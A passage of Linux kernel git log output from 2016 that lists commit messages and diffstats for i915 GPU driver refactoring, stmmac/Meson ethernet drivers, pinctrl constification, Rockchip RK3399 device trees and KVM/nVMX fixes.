deletion(-) commit 3177659a41cc4362cb740c24a982c2097962eb1b Author: Carlos Santa Date: Wed Aug 17 12:30:56 2016 -0700 drm/i915: Make HWS_NEEDS_PHYSICAL the exception Make the .hws_needs_physical the exception by switching the flag on earlier platforms since they are fewer to support. Remove the flag on later GPUs hardware since they all use GTT hws by default. Switch the logic as well in the driver to reflect this change Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 4 ++-- drivers/gpu/drm/i915/i915_gpu_error.c | 2 +- drivers/gpu/drm/i915/i915_pci.c | 27 +++++++++++++++++---------- drivers/gpu/drm/i915/intel_ringbuffer.c | 20 ++++++++++---------- 4 files changed, 30 insertions(+), 23 deletions(-) commit 804b87125e3ce49b20d9e8f39a70280e9adc5de1 Author: Carlos Santa Date: Wed Aug 17 12:30:55 2016 -0700 drm/i915: Move HAS_GMCH_DISPLAY definition to platform Moving all GPU features to the platform definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 4 ++-- drivers/gpu/drm/i915/i915_pci.c | 5 +++++ 2 files changed, 7 insertions(+), 2 deletions(-) commit ca9c4523882bb0ce86b4adb2b5ee4f29d2f0fc5b Author: Carlos Santa Date: Wed Aug 17 12:30:54 2016 -0700 drm/i915: Move HAS_L3_DPF definition to platform definition Moving all GPU features to the platform definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_pci.c | 4 ++++ 2 files changed, 6 insertions(+), 1 deletion(-) commit 4586f1d067c73e1865d6e1af251fabe5334265cd Author: Carlos Santa Date: Wed Aug 17 12:30:53 2016 -0700 drm/i915: Move HAS_LOGICAL_RING_CONTEXTS definition to platform Moving all GPU features to the platform definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_pci.c | 5 ++++- 2 files changed, 6 insertions(+), 2 deletions(-) commit e1a52536c20a75c56dcb8ceedf2d6b1c2b285e32 Author: Carlos Santa Date: Wed Aug 17 12:30:52 2016 -0700 drm/i915: Move HAS_HW_CONTEXTS definition to platform Moving all GPU features to the platform definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_pci.c | 5 +++++ 2 files changed, 7 insertions(+), 1 deletion(-) commit 0eec8dc7f628a8d871de3a6d7e2f467bafcb69c7 Author: Carlos Santa Date: Wed Aug 17 12:30:51 2016 -0700 drm/i915: Introduce GEN2_FEATURES for device info Introducing a GEN2_FEATURES macro to simplify the struct definitions by platforms given that most of the features are common. Inspired by the GEN7_FEATURES macro done by Ben W. and others. Use it for 830, 845g, i85x, i865g. CC: Ben Widawsky Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_pci.c | 35 +++++++++++++++-------------------- 1 file changed, 15 insertions(+), 20 deletions(-) commit 54d2a6a13ed031db5111bb591252dc48ed1985e1 Author: Carlos Santa Date: Wed Aug 17 12:30:50 2016 -0700 drm/i915: Introduce GEN3_FEATURES for device info Introducing a GEN3_FEATURES macro to simplify the struct definitions by platforms given that most of the features are common. Inspired by the GEN7_FEATURES macro done by Ben W. and others. Use it for i915g, i915gm, i945g, i945gm, g33 and pnv. CC: Ben Widawsky Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_pci.c | 42 ++++++++++++++++++----------------------- 1 file changed, 18 insertions(+), 24 deletions(-) commit 4d495bea6079b0fcf3a3462cdb87e80ae3664e94 Author: Carlos Santa Date: Wed Aug 17 12:30:49 2016 -0700 drm/i915: Introduce GEN4_FEATURES for device info Introducing a GEN4_FEATURES macro to simplify the struct definitions by platforms given that most of the features are common. Inspired by the GEN7_FEATURES macro done by Ben W. and others. Use it for i965g, i965gm, g45 and gm45. CC: Ben Widawsky Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_pci.c | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) commit b355f10925fdeb186796eaa4f3e64a7db02c3ccf Author: Carlos Santa Date: Wed Aug 17 12:30:48 2016 -0700 drm/i915: Move HAS_GMBUS_IRQ definition to platform definition Moving all GPU features to the platform struct definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_pci.c | 6 ++++++ 2 files changed, 8 insertions(+), 1 deletion(-) commit a13233804686886726aeeb084141d9a759c0b859 Author: Carlos Santa Date: Wed Aug 17 12:30:47 2016 -0700 drm/i915: Introduce GEN5_FEATURES for device info Introducing a GEN5_FEATURES macro to simplify the struct definitions by platforms given that most of the features are common. Inspired by the GEN7_FEATURES macro done by Ben W. and others. Use it for ilk. CC: Ben Widawsky Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_pci.c | 21 ++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) commit 1d3fe53bbc074dc93fe50152d97e1af364cc4e92 Author: Carlos Santa Date: Wed Aug 17 12:30:46 2016 -0700 drm/i915: Move HAS_DP_MST definition to platform definition Moving all GPU features to the platform struct definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 4 ++-- drivers/gpu/drm/i915/i915_pci.c | 2 ++ 2 files changed, 4 insertions(+), 2 deletions(-) commit 33b5bf82a67bff6b494a76dcbc20bcbcf3a835ed Author: Carlos Santa Date: Wed Aug 17 12:30:45 2016 -0700 drm/i915: Move HAS_RC6p definition to platform definition Moving all GPU features to the platform struct definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_pci.c | 3 +++ 2 files changed, 5 insertions(+), 1 deletion(-) commit 86f3624bf2750d22a6d7290f625f2d11227edb21 Author: Carlos Santa Date: Wed Aug 17 12:30:44 2016 -0700 drm/i915: Move HAS_RC6 definition to platform definition Moving all GPU features to the platform struct definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_pci.c | 5 +++++ 2 files changed, 7 insertions(+), 1 deletion(-) commit 53233f084d3a756875ad5097440b0faf3348869b Author: Carlos Santa Date: Wed Aug 17 12:30:43 2016 -0700 drm/i915: Move HAS_RESOURCE_STREAMER definition to platform definition Moving all GPU features to the platform struct definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 4 ++-- drivers/gpu/drm/i915/i915_pci.c | 3 +++ 2 files changed, 5 insertions(+), 2 deletions(-) commit 3bacde19993a7b8f7f2440aeaf112da81f64bb5b Author: Carlos Santa Date: Wed Aug 17 12:30:42 2016 -0700 drm/i915 Move HAS_CSR definition to platform definition Moving all GPU features to the platform struct definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 3 ++- drivers/gpu/drm/i915/i915_pci.c | 5 +++++ 2 files changed, 7 insertions(+), 1 deletion(-) commit 2631034677ad74a57f10866e02ae8037fa5724f3 Author: Carlos Santa Date: Wed Aug 17 12:30:41 2016 -0700 drm/i915: Get rid of HAS_CORE_RING_FREQ No need for HAS_CORE_RING_FREQ as that flag is actually the same as .has_llc. Feedback from V. Syrjala. Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 4 ---- 2 files changed, 1 insertion(+), 5 deletions(-) commit d4c5636e744738df5c1ee410c50576c48f2d75a0 Author: Carlos Santa Date: Wed Aug 17 12:30:40 2016 -0700 drm/i915: Remove runtime PM for SNB Remove runtime PM support for SNB as it breaks hotplug support. Feedback from V. Syrjala. Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_pci.c | 1 - 1 file changed, 1 deletion(-) commit 4aa4c23f2be22456070ee02eb50db84c0598c3ed Author: Carlos Santa Date: Wed Aug 17 12:30:39 2016 -0700 drm/i915: Move HAS_RUNTIME_PM definition to platform Moving all GPU features to the platform struct definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definitions Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 6 ++---- drivers/gpu/drm/i915/i915_pci.c | 7 ++++++- 2 files changed, 8 insertions(+), 5 deletions(-) commit 07db6be72e2c4e54aca12f3f09b4dc7d33f023f0 Author: Carlos Santa Date: Wed Aug 17 12:30:38 2016 -0700 drm/i915: Introduce GEN6_FEATURES for device info Introducing a GEN6_FEAUTRES macro to simplify the struct definitions by platforms given that most of the features are common. Inspired by the GEN7_FEATURES macro done by Ben W. and others. Use it for snb. CC: Ben Widawsky Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_pci.c | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) commit 8d9c20e1d1e3833b5c4dab33d59cb92ea162da6a Author: Carlos Santa Date: Wed Aug 17 12:30:37 2016 -0700 drm/i915: Remove .is_mobile field from platform struct As recommended by Ville Syrjala removing .is_mobile field from the platform struct definition for vlv and hsw+ GPUs as there's no need to make the distinction in later hardware anymore. Keep it for older GPUs as it is still needed for ilk-ivb. Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi arch/x86/kernel/early-quirks.c | 9 +++------ drivers/gpu/drm/i915/i915_pci.c | 45 ++++++++--------------------------------- include/drm/i915_pciids.h | 38 +++++++++++++--------------------- 3 files changed, 25 insertions(+), 67 deletions(-) commit 6e3b84d831113804fcae3646b99816556915b881 Author: Carlos Santa Date: Wed Aug 17 12:30:36 2016 -0700 drm/i915: Move HAS_PSR definition to platform struct definition [patch series] Moving all GPU features to the platform struct definition allows for - standard place when adding new features from new platforms - possible to see supported features when dumping struct definition Signed-off-by: Carlos Santa Reviewed-by: Rodrigo Vivi Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/i915_drv.h | 5 ++--- drivers/gpu/drm/i915/i915_pci.c | 5 ++++- 2 files changed, 6 insertions(+), 4 deletions(-) commit 466fd24b681c734640ebefb1e611df0a5f10d011 Author: Martin Blumenstingl Date: Tue Sep 6 23:38:48 2016 +0200 net: stmmac: update the module description of the dwmac-meson driver The dwmac-meson glue driver supports Meson6 and Meson8 SoCs. Newer SoCs are supported by the dwmac-meson8b driver. Signed-off-by: Martin Blumenstingl Signed-off-by: Kevin Hilman drivers/net/ethernet/stmicro/stmmac/dwmac-meson.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 566e8251625304e291bc1e2e7d57850ccf0502f5 Author: Martin Blumenstingl Date: Tue Sep 6 23:38:46 2016 +0200 net: stmmac: add a glue driver for the Amlogic Meson 8b / GXBB DWMAC The Ethernet controller available in Meson8b and GXBB SoCs is a Synopsys DesignWare MAC IP core which is already supported by the stmmac driver. In addition to the standard stmmac driver some Meson8b / GXBB specific registers have to be configured for the PHY clocks. These SoC specific registers are called PRG_ETHERNET_ADDR0 and PRG_ETHERNET_ADDR1 in the datasheet. These registers are not backwards compatible with those on Meson 6b, which is why a new glue driver is introduced. This worked for many boards because the bootloader programs the PRG_ETHERNET registers correctly. Additionally the meson6-dwmac driver only sets bit 1 of PRG_ETHERNET_ADDR0 which (according to the datasheet) is only used during reset. Currently all configuration values can be determined automatically, based on the configured phy-mode (which is mandatory for the stmmac driver). If required the tx-delay and the mux clock (so it supports the MPLL2 clock as well) can be made configurable in the future. Signed-off-by: Martin Blumenstingl Tested-by: Kevin Hilman Acked-by: David S. Miller Signed-off-by: Kevin Hilman drivers/net/ethernet/stmicro/stmmac/Kconfig | 6 +- drivers/net/ethernet/stmicro/stmmac/Makefile | 2 +- .../net/ethernet/stmicro/stmmac/dwmac-meson8b.c | 324 +++++++++++++++++++++ 3 files changed, 328 insertions(+), 4 deletions(-) commit 1b0acbfdb8a8884f18fdb2caa85b4beded2390fb Author: Joachim Eastwood Date: Tue Sep 6 23:38:45 2016 +0200 stmmac: introduce get_stmmac_bsp_priv() helper Create a helper to retrieve dwmac private data from a dev pointer. This is useful in PM callbacks and driver remove. Signed-off-by: Joachim Eastwood Tested-by: Martin Blumenstingl Acked-by: David S. Miller Signed-off-by: Kevin Hilman drivers/net/ethernet/stmicro/stmmac/stmmac_platform.h | 8 ++++++++ 1 file changed, 8 insertions(+) commit 6aee159712acf9585b3647bd5404a1db542bc518 Author: Martin Blumenstingl Date: Tue Sep 6 23:38:43 2016 +0200 net: dt-bindings: Document the new Meson8b and GXBB DWMAC bindings This patch adds the documentation for the DWMAC ethernet controller found in Amlogic Meson 8b (S805) and GXBB (S905) SoCs. The main difference between the Meson6 glue is that different registers (with different layout) are used. Signed-off-by: Martin Blumenstingl Acked-by: Rob Herring Acked-by: David S. Miller Signed-off-by: Kevin Hilman .../devicetree/bindings/net/meson-dwmac.txt | 45 ++++++++++++++++++---- 1 file changed, 37 insertions(+), 8 deletions(-) commit 81b9fd8fc68e9e0999efc604c4e5477b8d1982aa Author: Manasi Navare Date: Thu Sep 1 15:08:11 2016 -0700 drm/i915: Split hsw_get_dpll() Split out the DisplayPort and HDMI pll setup code into separate functions and refactor the DP code that calculates the pll so that it doesn't depend on crtc state. This will be used for acquiring port pll when doing upfront link training. Reviewed-by: Durgadoss R Signed-off-by: Manasi Navare Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_dpll_mgr.c | 90 ++++++++++++++++++++++------------- drivers/gpu/drm/i915/intel_dpll_mgr.h | 6 +++ 2 files changed, 63 insertions(+), 33 deletions(-) commit 9a4edadaccea5ba9b73abaff8121e68dd0ff70bc Author: Jim Bride Date: Thu Sep 1 15:08:10 2016 -0700 drm/i915: Split skl_get_dpll() Split out the DisplayPort and HDMI pll setup code into separate functions and refactor the DP code does not directly depend on crtc state, so that the code can be used for upfront link training. Reviewed-by: Manasi Navare Signed-off-by: Jim Bride Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_dpll_mgr.c | 131 +++++++++++++++++++++------------- drivers/gpu/drm/i915/intel_dpll_mgr.h | 4 ++ 2 files changed, 87 insertions(+), 48 deletions(-) commit a277ca7dc01df9c7b8fe5b1d992d2bcc02e2ec23 Author: Durgadoss R Date: Thu Sep 1 15:08:09 2016 -0700 drm/i915: Split bxt_ddi_pll_select() Split out of bxt_ddi_pll_select() the logic that calculates the pll dividers and dpll_hw_state into a new function that doesn't depend on crtc state. This will be used for enabling the port pll when doing upfront link training. v2: * Refactored code so that bxt_clk_div need not be exported (Durga) v1: * Rebased on top of intel_dpll_mgr.c (Durga) * Initial version from Ander on top of intel_ddi.c Reviewed-by: Manasi Navare Signed-off-by: Ander Conselvan de Oliveira Signed-off-by: Durgadoss R Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_dpll_mgr.c | 168 +++++++++++++++++++++------------- drivers/gpu/drm/i915/intel_dpll_mgr.h | 3 + 2 files changed, 105 insertions(+), 66 deletions(-) commit ba88d153526f31777ef40b065a772e8dbf97b7c0 Author: Manasi Navare Date: Thu Sep 1 15:08:08 2016 -0700 drm/i915: Split intel_ddi_pre_enable() into DP and HDMI versions Split intel_ddi_pre_enable() into encoder type specific versions that don't depend on crtc_state. The necessary parameters are passed as function arguments. This split will be necessary for implementing DP upfront link training. v3: * Rebased onto latest kernel (Manasi) v2: * Rebased onto kernel v4.7 (Jim) Reviewed-by: Durgadoss R Signed-off-by: Ander Conselvan de Oliveira Signed-off-by: Jim Bride Signed-off-by: Manasi Navare Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_ddi.c | 105 ++++++++++++++++++++++----------------- 1 file changed, 60 insertions(+), 45 deletions(-) commit c856052abc769da6d16d0df8807320ccc854c5d9 Author: Ander Conselvan de Oliveira Date: Thu Sep 1 15:08:07 2016 -0700 drm/i915: Remove ddi_pll_sel from intel_crtc_state The value of ddi_pll_sel is derived from the selection of shared dpll, so just calculate the final value when necessary. v2: Actually remove it from crtc state and delete remaining usages. (CI) Reviewed-by: Durgadoss R Signed-off-by: Ander Conselvan de Oliveira Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_ddi.c | 45 ++++++++++++++++++++++++++--------- drivers/gpu/drm/i915/intel_display.c | 43 +++++++-------------------------- drivers/gpu/drm/i915/intel_dp_mst.c | 3 ++- drivers/gpu/drm/i915/intel_dpll_mgr.c | 27 --------------------- drivers/gpu/drm/i915/intel_drv.h | 8 +------ 5 files changed, 45 insertions(+), 81 deletions(-) commit dfa104803523a57711d575dfca898c0b3761f5eb Author: Ander Conselvan de Oliveira Date: Thu Sep 1 15:08:06 2016 -0700 drm/i915: Don't pass crtc_state to intel_dp_set_link_params() Decouple intel_dp_set_link_params() from struct intel_crtc_state. This will be useful for implementing DP upfront link training. v2: * Rebased on atomic state changes (Manasi) Reviewed-by: Durgadoss R Signed-off-by: Ander Conselvan de Oliveira Signed-off-by: Manasi Navare Signed-off-by: Rodrigo Vivi drivers/gpu/drm/i915/intel_ddi.c | 5 ++++- drivers/gpu/drm/i915/intel_dp.c | 14 +++++++++----- drivers/gpu/drm/i915/intel_dp_mst.c | 6 ++++-- drivers/gpu/drm/i915/intel_drv.h | 3 ++- 4 files changed, 19 insertions(+), 9 deletions(-) commit 5fe2501fbf8d21d57fef2eb0a54d50f5a0c6f4c4 Author: Julia Lawall Date: Thu Sep 1 20:42:21 2016 +0200 pinctrl: bcm281xx: constify pinctrl_ops and pinmux_ops structures Check for pinctrl_ops and pinmux_ops structures that are only stored in the pctlops field and the pmxops field, respectively, of a pinctrl_desc structure. These fields are declared const, so pinctrl_ops and pinmux_ops structures that have this property can be declared as const also. The semantic patch that makes this change in the pinctrl_ops is as follows. The pinmux_ops case is similar. (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct pinctrl_ops i@p = { ... }; @ok@ identifier r.i; struct pinctrl_desc e; position p; @@ e.pctlops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct pinctrl_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct pinctrl_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Linus Walleij drivers/pinctrl/bcm/pinctrl-bcm281xx.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c87da270c11fcf995fb0bc7248e446821b32f573 Author: Julia Lawall Date: Thu Sep 1 20:42:20 2016 +0200 pinctrl: nsp: constify pinctrl_ops and pinmux_ops structures Check for pinctrl_ops and pinmux_ops structures that are only stored in the pctlops field and the pmxops field, respectively, of a pinctrl_desc structure. These fields are declared const, so pinctrl_ops and pinmux_ops structures that have this property can be declared as const also. The semantic patch that makes this change in the pinctrl_ops is as follows. The pinmux_ops case is similar. (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct pinctrl_ops i@p = { ... }; @ok@ identifier r.i; struct pinctrl_desc e; position p; @@ e.pctlops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct pinctrl_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct pinctrl_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Linus Walleij drivers/pinctrl/bcm/pinctrl-nsp-mux.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f3b4b7c48e5998af8c009821c7dbb2137db33b35 Author: Julia Lawall Date: Thu Sep 1 20:42:19 2016 +0200 pinctrl: ns2: constify pinctrl_ops and pinmux_ops structures Check for pinctrl_ops and pinmux_ops structures that are only stored in the pctlops field and the pmxops field, respectively, of a pinctrl_desc structure. These fields are declared const, so pinctrl_ops and pinmux_ops structures that have this property can be declared as const also. The semantic patch that makes this change in the pinctrl_ops is as follows. The pinmux_ops case is similar. (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct pinctrl_ops i@p = { ... }; @ok@ identifier r.i; struct pinctrl_desc e; position p; @@ e.pctlops = &i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct pinctrl_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct pinctrl_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Linus Walleij drivers/pinctrl/bcm/pinctrl-ns2-mux.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a29c830a28721bb684c212206b2bab6dc53d0cb4 Author: Neil Armstrong Date: Mon Aug 22 17:36:33 2016 +0200 ARM: dts: meson8b: Add Meson8b PWM Controller nodes Signed-off-by: Neil Armstrong Signed-off-by: Kevin Hilman arch/arm/boot/dts/meson8b.dtsi | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit 499c7196dd182ba513ccb9620ee22aed3f9096fd Author: Agrawal, Nitesh-kumar Date: Wed Aug 31 08:50:49 2016 +0000 pinctrl/amd: Configure GPIO register using BIOS settings In the function amd_gpio_irq_set_type, use the settings provided by the BIOS,when the LevelTrig is Edge and activeLevel is HIGH, to configure the GPIO registers. Ignore the settings from client. Reviewed-by: Pankaj Sen Signed-off-by:Nitesh Kumar Agrawal Signed-off-by: Linus Walleij drivers/pinctrl/pinctrl-amd.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) commit ac91ab51e4f882db65449ff821a5664bad4b164c Author: Mylène Josserand Date: Wed Sep 7 16:53:57 2016 +0200 pinctrl: sunxi: Add GR8 controller support Just like the other member of the sunxi family, let's add a pinctrl table for the muxing options. Signed-off-by: Mylène Josserand Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai Signed-off-by: Linus Walleij .../bindings/pinctrl/allwinner,sunxi-pinctrl.txt | 1 + drivers/pinctrl/sunxi/Kconfig | 4 + drivers/pinctrl/sunxi/Makefile | 1 + drivers/pinctrl/sunxi/pinctrl-gr8.c | 541 +++++++++++++++++++++ 4 files changed, 547 insertions(+) commit 44cc4a017e2df87f25765ac270f3f64efc6b06ef Author: Masahiro Yamada Date: Tue Sep 6 20:41:19 2016 +0900 ALSA: squash lines for simple wrapper functions Remove unneeded variables and assignments. Signed-off-by: Masahiro Yamada Signed-off-by: Takashi Iwai sound/aoa/fabrics/layout.c | 7 +------ sound/pci/asihpi/hpifunc.c | 7 ++----- sound/pci/ctxfi/ctvmem.c | 6 +----- sound/pci/emu10k1/p16v.c | 16 ++++------------ sound/pci/ice1712/ice1724.c | 4 +--- sound/ppc/snd_ps3.c | 4 +--- sound/soc/intel/baytrail/sst-baytrail-ipc.c | 12 +++--------- 7 files changed, 13 insertions(+), 43 deletions(-) commit f606193a10e7d0eb6766ae525e9051417a59f8d9 Author: Chris Zhong Date: Tue Aug 23 22:17:03 2016 -0700 arm64: dts: rockchip: add Type-C phy for RK3399 There are 2 Type-C phy on RK3399, they are almost same, except the address of register. They support USB3.0 Type-C and DisplayPort1.3 Alt Mode on USB Type-C. Register a phy, supply it to USB3 controller and DP controller. Signed-off-by: Chris Zhong Reviewed-by: Guenter Roeck Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 56 ++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) commit 0714bc77674a75886b02ba269495ddb56553659d Author: Roger Chen Date: Fri Sep 2 01:50:04 2016 +0800 arm64: dts: rockchip: enable the gmac for rk3399 evb board We add the required and optional properties for evb board. See the [0] to get the detail information. [0]: Documentation/devicetree/bindings/net/rockchip-dwmac.txt Signed-off-by: Roger Chen Signed-off-by: Caesar Wang Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399-evb.dts | 31 +++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) commit eb3a6a6a9e7e36e44503778cb2656ebf537820af Author: Roger Chen Date: Fri Sep 2 01:50:03 2016 +0800 arm64: dts: rockchip: add the gmac needed node for rk3399 The RK3399 GMAC Ethernet Controller provides a complete Ethernet interface from processor to a Reduced Media Independent Interface (RMII) and Reduced Gigabit Media Independent Interface (RGMII) compliant Ethernet PHY. This patch adds the related needed device information. e.g.: interrupts, grf, clocks, pinctrl and so on. The full details are in [0]. [0]: Documentation/devicetree/bindings/net/rockchip-dwmac.txt Signed-off-by: Roger Chen Signed-off-by: Caesar Wang Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 80 ++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) commit 9ac7e3e815060efdc86b6d12448200e3c3597e01 Author: Jan Dakinevich Date: Sun Sep 4 21:23:15 2016 +0300 KVM: nVMX: expose INS/OUTS information support Expose the feature to L1 hypervisor if host CPU supports it, since certain hypervisors requires it for own purposes. According to Intel SDM A.1, if CPU supports the feature, VMX_INSTRUCTION_INFO field of VMCS will contain detailed information about INS/OUTS instructions handling. This field is already copied to VMCS12 for L1 hypervisor (see prepare_vmcs12 routine) independently feature presence. Signed-off-by: Jan Dakinevich Signed-off-by: Paolo Bonzini arch/x86/kvm/vmx.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 16cb025565fcc9c687d07bf239e57964957b50e8 Author: Paolo Bonzini Date: Mon Sep 5 15:57:00 2016 +0200 KVM: VMX: not use vmcs_config in setup_vmcs_config setup_vmcs_config takes a pointer to the vmcs_config global. The indirection is somewhat pointless, but just keep things consistent for now. Signed-off-by: Paolo Bonzini arch/x86/kvm/vmx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1a6982353db90939fc12bbd11c29fbe3c19a2fd0 Author: Paolo Bonzini Date: Fri Aug 19 17:51:29 2016 +0200 KVM: x86: remove stale comments handle_external_intr does not enable interrupts anymore, vcpu_enter_guest does it after calling guest_exit_irqoff. Signed-off-by: Paolo Bonzini arch/x86/kvm/x86.c | 1 - 1 file changed, 1 deletion(-) commit bbe41b950813ec643a14d2a6005475f66625292e Author: Paolo Bonzini Date: Fri Aug 19 17:51:20 2016 +0200 KVM: x86: ratelimit and decrease severity for guest-triggered printk These are mostly related to nested VMX. They needn't have a loglevel as high as KERN_WARN, and mustn't be allowed to pollute the host logs. Signed-off-by: Paolo Bonzini arch/x86/kvm/vmx.c | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit 119a9c01a5922600a78106d9bbdd6aaafc851a27 Author: Jan Dakinevich Date: Sun Sep 4 21:22:47 2016 +0300 KVM: nVMX: pass valid guest linear-address to the L1 If EPT support is exposed to L1 hypervisor, guest linear-address field of VMCS should contain GVA of L2, the access to which caused EPT violation. Signed-off-by: Jan Dakinevich Reviewed-by: Wanpeng Li Signed-off-by: Paolo Bonzini arch/x86/kvm/vmx.c | 3 +++ 1 file changed, 3 insertions(+) commit 3706feacd007c89f49bdb20c5c1dd17c8badfc43 Author: Bhaktipriya Shridhar Date: Tue Aug 30 23:29:51 2016 +0530 KVM: Remove deprecated create_singlethread_workqueue The workqueue "irqfd_cleanup_wq" queues a single work item &irqfd->shutdown and hence doesn't require ordering. It is a host-wide workqueue for issuing deferred shutdown requests aggregated from all vm* instances. It is not being used on a memory reclaim path. Hence, it has been converted to use system_wq. The work item has been flushed in kvm_irqfd_release(). The workqueue "wqueue" queues a single work item &timer->expired and hence doesn't require ordering. Also, it is not being used on a memory reclaim path. Hence, it has been converted to use system_wq. System workqueues have been able to handle high level of concurrency for a long time now and hence it's not required to have a singlethreaded workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue created with create_singlethread_workqueue(), system_wq allows multiple work items to overlap executions even on the same CPU; however, a per-cpu workqueue doesn't have any CPU locality or global ordering guarantee unless the target CPU is explicitly specified and thus the increase of local concurrency shouldn't make any difference. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Paolo Bonzini virt/kvm/arm/arch_timer.c | 11 ++--------- virt/kvm/eventfd.c | 22 +++------------------- virt/kvm/kvm_main.c | 6 ------ 3 files changed, 5 insertions(+), 34 deletions(-) commit 